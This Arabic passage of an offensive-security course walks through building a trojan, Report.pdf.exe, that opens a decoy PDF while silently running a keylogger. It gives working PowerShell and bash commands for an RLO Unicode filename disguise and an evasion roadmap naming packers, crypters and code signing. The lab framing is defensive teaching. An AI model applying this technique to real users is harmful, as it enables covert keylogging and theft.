  1. اضغط Add Resource أسفل الحوار.
  2. يغلق الحوار، ويظهر في الشجرة فرع جديد RCDATA → TEST_PDF → 1033.
  3. عند تحديده، Value Pane يعرض البيانات كـ Hex Dump.
  4. احفظ (Ctrl+S).
  5. حجم الـ EXE يزيد بمقدار حجم الـ PDF تقريبا.

للتحقق من التضمين:

  1. أغلق واعد فتح الـ EXE.
  2. تأكد وجود RCDATA → TEST_PDF → 1033.
  3. انقر يمين → Save Resource as a binary file... → احفظ بامتداد .pdf وافتح للتأكد.

⌨️ اختصارات لوحة المفاتيح المفيدة

الاختصارالوظيفة
Ctrl+Oفتح ملف
Ctrl+Sحفظ التعديلات
Ctrl+Fالبحث في الموارد
F5تحديث/تجميع (Compile) بعد تعديل نصي
F3البحث عن التالي
Alt+F4إغلاق البرنامج

🎓 نصائح ختامية للمختبِر الأمني

  1. دائما احتفظ بنسخة احتياطية من الـ EXE الأصلي قبل أي تعديل.
  2. التوقيع الرقمي (Digital Signature) يتلف عند أي تعديل داخلي، أي EXE موقع يصبح غير موقع بعد الحفظ.
  3. بعض Antivirus قد يحجب EXE المعدل لأن hash الملف تغيّر.
  4. لا تعدل ملفات النظام في C:\Windows\System32، يسبب عدم استقرار Windows.

تطبيق RLO على الاسم النهائي على Windows (من PowerShell):

powershell
# على VM الضحية (بعد أن نزل Report.pdf.exe):
$rlo = [char]0x202E
$oldName = "Report.pdf.exe"
$newName = "Report" + $rlo + "fdp.exe"
Rename-Item -LiteralPath ".\$oldName" -NewName $newName

# في Explorer الآن:
# → Reportexe.pdf
# + أيقونة PDF
# + يفتح PDF فعلا عند النقر

بديل من WSL قبل الإرسال (يستخدم بايتات UTF-8 لحرف U+202E):

bash
# الحرف U+202E في UTF-8 = 0xE2 0x80 0xAE
newname=$(printf 'Report\xe2\x80\xaefdp.exe')
mv Report.pdf.exe "$newname"
ls -la  # → ستشاهد "Reportexe.pdf" بسبب انعكاس الاتجاه في الطرفية

= أعلى مستوى وهم يمكن تحقيقه بلا توقيع رقمي.

✅ اختبر نفسك: القسم 9

  1. عند النقر على الملف ظهر SmartScreen. ما الخطوتان اللتان يحتاجهما الضحية لتجاوزه؟ وماذا يعني ذلك عن واقعية الهجوم؟
  2. كيف تحقّقتَ أن الحمولة تعمل في الخلفية دون أن ترى نافذة؟ اذكر الأمر.
  3. لماذا حمل الملف MOTW رغم أنه جاء من مشاركة SMB محلية وليس من متصفح؟
  4. ما الذي يجب أن تراه الضحية خلال الثانيتين الأوليين حتى لا تشكّ؟ ولماذا هذا التوقيت مهم؟

3/4 = تابع.


القسم 10القسم 10: من عيون الدفاع: VirusTotal و Any.Run

🧪 معمل: ارفع ملفك على VirusTotal

URL: https://virustotal.com

text
1. أنشئ حسابا مجانيا
2. Upload → اختر Report.pdf.exe
3. انتظر 30-60 ثانية
4. ستشاهد:
   • X/70 محرك اكتشفه (عادة 30-50 لملف بدون تشفير)
   • أسماء التصنيف (Trojan.GenericKD, ...)
   • Behavior sandbox
   • Sigma rules matched
⚠️ تحذير، الرفع علني ما ترفعه على VirusTotal يُشارك مع كل موردي مضادات الفيروسات (ومع أي مشترك مدفوع في الخدمة). - لا ترفع أدواتك الحقيقية - هذه للتعلم فقط، على عيّنات تعليمية

🧪 معمل: Any.Run صندوق رمل حي

URL: https://any.run

text
1. سجّل حسابا مجانيا (Community tier)
2. New Task → Upload file → اختر Report.pdf.exe
3. سيشغّله على Windows حي لمدة 5-7 دقائق
4. ستشاهد بالفيديو:
   • فتح PDF الحقيقي
   • إسقاط wmupdate.exe في %APPDATA%\...
   • اتصال شبكي إلى IP المهاجم
   • سجل كل التغييرات
⚠️ خصوصية Community tier الطبقة المجانية من Any.Run عامة، أي شخص يستطيع رؤية جلسة التحليل الخاصة بك. بعد رفعك: - عيّنة الملف أصبحت معروفة لكل موردي AV - بصمة الملف تدخل قواعد الكشف خلال ساعات - لا تعيد استخدام نفس الملف في اختبارات حقيقية بعدها

ما لم نتخطاه: وما الذي يعنيه ذلك

❌ لم نتخطاه✅ ما تخطيناه فعلا
SmartScreen ما زال يظهر "Windows protected your PC" (نحتاج EV Code Signing Cert ~ $250/سنة)أي فحص للامتداد فقط (لأننا لسنا ملفا مشبوها)
Windows Defender يكتشف الـ Keylogger الأصلي (نحتاج تعمية/تشفير)المستخدم: إذا ضغط Run Anyway (وأغلب الناس تفعل لأن الأيقونة PDF ومحتوى الـ PDF شرعي)
VirusTotal: عالية التصنيف (نحتاج Packer + Crypter)أي Sandbox لا يفتح EXE المضمّنة في Resources
EDR الحديث يرى شجرة العمليات Parent-Childتفتيش السطحي على البريد (لو أرسلنا كمرفق، لأننا ملف واحد بلا macros)
لا Persistence بعد الإغلاق

الدرس الأكبر: كل طبقة دفاع لها ثغرة يوما. الأمان = طبقات كثيرة + تدريب المستخدم = Defense in Depth.

✅ اختبر نفسك: القسم 10

  1. لماذا يُعدّ رفع أداتك الحقيقية إلى VirusTotal خطأً تشغيلياً جسيماً؟ من يرى ما ترفعه؟
  2. ملفك اكتشفته 30-50 محركاً من ~70. هل هذا فشل للهجوم؟ اشرح جوابك بدلالة سيناريو الاستخدام.
  3. ما الفرق بين ما يخبرك به VirusTotal وما يخبرك به Any.Run؟ أيّهما يكشف السلوك؟
  4. لو أردت تقييم كشف ملفك دون مشاركته مع الموردين، ما البديل؟

3/4 = تابع. أقل = أعد قراءة التحذير حول علنية الرفع.


القسم 11القسم 11: الخلاصة والمحاضرة القادمة

أتقنتَ في هذه المحاضرة

المفاهيم:

  1. بنية ملف PE (headers + sections)
  2. الأيقونات كموارد داخل EXE
  3. الامتدادات وقواعد الاختيار
  4. RCDATA، تضمين أي ملف
  5. ShellExecute + CreateProcess
  6. Mark-of-the-Web + SmartScreen
  7. خدع الأسماء (RLO + مزدوج)

الأدوات:

  • PE-bear (فحص EXE)
  • Resource Hacker (تعديل EXE)
  • Process Explorer (مراقبة)
  • Sysinternals streams (ADS)
  • CyberChef (خدع Unicode)
  • MinGW-w64 (البناء)
  • VirusTotal + Any.Run (تقييم)

الملف الذي بنيتَه

  • Report.pdf.exe (~200 KB)
  • ✅ أيقونة PDF كاملة
  • ✅ اسم يبدو PDF (مع RLO)
  • ✅ يحمل داخله PDF شرعي
  • ✅ يحمل داخله الـ Keylogger
  • ✅ عند النقر: يفتح PDF مرئي + يشغّل Keylogger خفيا
  • ✅ يعمل على Windows 11 كامل التحديث

المحاضرة القادمة (2B): الطريقة التالية

PDF ملغم يستغل ثغرة CVE-2010-2883 في Adobe Reader = لا حاجة لخداع المستخدم، الثغرة نفسها تفعل كل شيء.

الدرس الأهم: لم نستخدم أي ثغرة برمجية، استخدمنا فهم النظام + الخداع البشري = ذلك سلاح المهاجم الحديث.

✅ اختبر نفسك: القسم 11

  1. رتّب المفاهيم السبعة للمحاضرة حسب أهميتها في نجاح الهجوم من وجهة نظرك، وبرّر ترتيبك.
  2. من الأدوات السبع التي استخدمتها، أيّها أداة مهاجم وأيّها أداة مدافع؟ وهل بعضها كلاهما؟
  3. لو كان عليك تعطيل هذا الهجوم بإعداد واحد فقط على أجهزة مؤسسة كاملة، أي إعداد تختار، ولماذا؟
  4. ما الحدّ الأساسي لهذه الطريقة الذي تعالجه الطرق اللاحقة في المحاضرات 3 و 4؟

جوابك على السؤال 3 هو المؤشر الحقيقي على أنك فهمت المحاضرة، لا حفظتها.


ملحق أ: قائمة تحقق سريعة قبل التسليم

  • [ ] mingw-w64 مثبت داخل WSL
  • [ ] keylogger_edu.exe من المحاضرة 1 موجود في ~/lab/payloads/
  • [ ] decoy.pdf (أي PDF شرعي) جاهز
  • [ ] pdf.ico بأحجام متعددة جاهز
  • [ ] binder.cpp و binder.rc و build.sh منسوخة إلى ~/lab/build-B/
  • [ ] الشبكة المعزولة (VMnet2) تعمل بلا انترنت (اختبار: ping 8.8.8.8 يفشل)
  • [ ] Victim VM عليها Snapshot نظيف
  • [ ] SmartScreen و Defender مفعلان على Victim (لا نطفئهما)
  • [ ] بعد كل تجربة: استعد Snapshot

ملحق ب: قراءة إضافية